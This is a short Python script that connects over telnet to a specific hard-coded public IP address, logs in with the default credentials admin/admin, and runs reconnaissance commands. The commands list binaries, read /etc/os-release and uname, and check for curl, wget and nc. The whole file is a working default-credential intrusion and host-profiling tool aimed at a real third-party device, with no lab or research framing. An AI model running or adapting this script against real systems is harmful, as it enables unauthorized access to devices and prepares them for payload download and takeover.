import socket, time

ip, port, user, passwd = "177.75.49.11", 23, "admin", "admin"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
s.connect((ip, port))
time.sleep(0.3)
data = s.recv(4096).decode(errors="ignore")
if "login" in data.lower():
    s.send((user+"\r\n").encode())
    time.sleep(0.3)
    data = s.recv(4096).decode(errors="ignore")
if "password" in data.lower():
    s.send((passwd+"\r\n").encode())
    time.sleep(0.6)
    data = s.recv(4096).decode(errors="ignore")
try: s.recv(65536)
except: pass

# Check what's available
for cmd in ["ls /usr/sbin/", "ls /usr/bin/", "cat /etc/os-release", "uname -a", "which curl", "which wget", "which nc"]:
    s.send((cmd + "\r\n").encode())
    time.sleep(0.5)
    r = s.recv(4096).decode(errors="ignore")
    print(f"=== {cmd} ===")
    print(r[:300])
s.close()
